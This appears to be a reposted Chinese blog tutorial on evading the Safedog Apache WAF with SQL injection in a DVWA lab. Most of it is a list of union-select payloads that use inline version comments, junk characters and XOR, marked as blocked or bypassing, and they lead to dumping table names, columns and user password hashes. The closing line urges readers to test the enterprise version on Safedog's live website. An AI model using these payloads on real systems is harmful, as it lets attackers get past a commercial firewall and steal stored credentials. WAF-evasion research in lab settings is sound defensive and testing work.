WAF对抗-安全狗(联合查询篇)
WAF對抗-安全狗(聯合查詢篇)
實驗環境
網站安全狗APACHE版V4.0、靶場:dvwa
為了方便對比可以在這個在線靶場申請一個dvwa
https://www.vsplate.com/
mysql注入測試
技術點
內聯注釋
在mysql的語法中,有三種注釋方法:-- 和#(單行注釋)和 /* /(多行注釋)如果在/后加驚嘆號!意為/* */`里的語句將被執行
在mysql中 /*! ....*/ 不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的語句放在/*!....*/中,這樣這些語句如果在其他數據庫中是不會被執行,但在mysql中它會執行。如下語句/*!50001 select * from test */;這里的50001表示假如 數據庫是5.00.01及以上版本,該語句才會被執行。
異或
異或:xor或^
邏輯運算就是:同假異真(兩個條件結果相同就為假,結果不同就為真)
例如:1^0 就是 1 ,1^1 就是 0
例子:
lucy' Xor '1'='1' #
如果‘lucy’存在則前后都為真則為返回假
如果’lucy‘不存在則前為假后都為真則為返回真
Xor類似當前后都為真時返回假執行后面一個表達式
如果A為真,則查出不滿足B條件數據;
如果A為假,則查出滿足B條件數據;
科學計數法
id=0e0union select
各種符號結合
+ - .1 ! ~
空白字符
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
分段傳輸
前提:POST請求
分塊傳輸的post數據頭部需要添加
Transfer-Encoding:Chunked
而post的數據是這種格式
2
id
2
=3
0
解釋
2 #這個2表示下面數據的個數 可以在這個后面加入分號添加注釋 比如 2;hello world 可以利用這個特性添加隨機字符來干擾waf
id #參數 接收參數就是id一共就兩個字母 所以上面的個數是2
2 #同理 表示下面的數據的個數
=1 #這個也是同理 和前面的id連起來 post的數據就是 id=1
0 #分塊傳輸表示結束的方式 一個0和兩個換號
自動化插件:https://github.com/c0ny1/chunked-coding-converter
注入點判斷
無WAF環境
1' and 1=1#
1‘ or 1=1#
WAF環境
#test
or -> || (被攔截)
1' /*! and */ 1=1 #(被攔截)
1' and /*! 1=1 */ #(被攔截)
#bypass
and -> &
1' ^ 1=0 #
1' xor 1=1 #
聯合查詢
無WAF環境
1' order by 2 #
1' union select 0,1 #
WAF環境(order by)
1' order by/*! 2*/ #(攔截)
1' /*!order*/ by 2 #(攔截)
1' order /*!by*/ 2 #(攔截)
1' /*!5000 order*/ by 2 #(攔截)
1' order/**/ by 2 #(攔截)
嘗試fuzz下/!5000/ 里面的版本號,用木頭超級字典工具直接生成0000-99999,經過測試字典只需要生成00000-99999.
#bypass
1' order/*!00144 by*/ 2 #
在版本號后面接一些垃圾字符,因為有垃圾字符,所以!99999aaa等同于空格了
#bypass
1' order/*!99999aaa*/by 2#
通過觀察上面的bypass,order 后面接 by會被安全狗攔截。
WAF環境(union select)
#test
1' union /**/select /**/1,2 #(攔截)
1' union /*! select*/ /**/1,2 #(攔截)
1' /*!00044 union*/ select /**/1,2 #(攔截)
1' union /*!00044 select*/ 1,2 #(bypass)//黑人問號
1' union /*!99999zz*/ select 1,2 #(bypass)
觀察3、4、5三個payload,這里應該是檢測union后接select就會被攔截。
爆庫,表,列,值
#無WAF環境
1‘ union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
1' union select group_concat(user),group_concat(password) from users#
這里我一開始是直接使用union + 版本垃圾字符 + select來查詢數據庫,但被攔截了,猜測應該是檢測database()這個敏感函數了。
1‘ union /*!99999zz*/ select 1,database/*!99999zz*/()#
然后我試了網上說的等價函數,也是不行的
1‘ union /*!99999zz*/ select 1,@@database()#
猜測是檢測database如果跟括號了就會攔截,那么這就跟繞union接select一樣,在database和括號中間加版本號垃圾字符
#bypass
1' union /*!99999zz*/ select 1,database/*!99999zz*/() #
查詢表時,檢測規則時select xxxx from xxxx,如果select接1,2就會被攔截。
#bypass
1' union /*!99999zz*/ select 1,/*!00144group_concat(table_name)*/ from information_schema.tables where table_schema='dvwa'#
查詢列最開始我是按照上面查詢表的方法來構造payload的,但是被攔截了,payload如下。
1' union /*!99999zz*/ select 1,/*!00144 group_concat(column_name)*/ from information_schema.columns where table_schema='dvwa' and table_name='users'#
然后我把最后面的 and table_name='users' 去掉來執行,馬上又能成功執行了,那么問題就是出在and這里了。
構造如下payload繞過:
1' union /*!99999zz*/ select 1,/*!00144 group_concat(column_name)*/ from information_schema.columns where table_schema='dvwa' /*!*//*00144and table_name='users'*/#
最后查詢值就容易很多了,直接上payload
1' union /*!99999zz*/ select /*!00144 group_concat(user)*/,group_concat(password) from users#
結語
這是免費版本的繞過,企業版大家直接拿安全狗官網試手就行,可以查考這篇文章。
https://paper.seebug.org/218/
總結
以上是生活随笔為你收集整理的WAF对抗-安全狗(联合查询篇)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DotNet中配置文件的使用(一)
- 下一篇: 500G !!史上最全的JAVA全套教学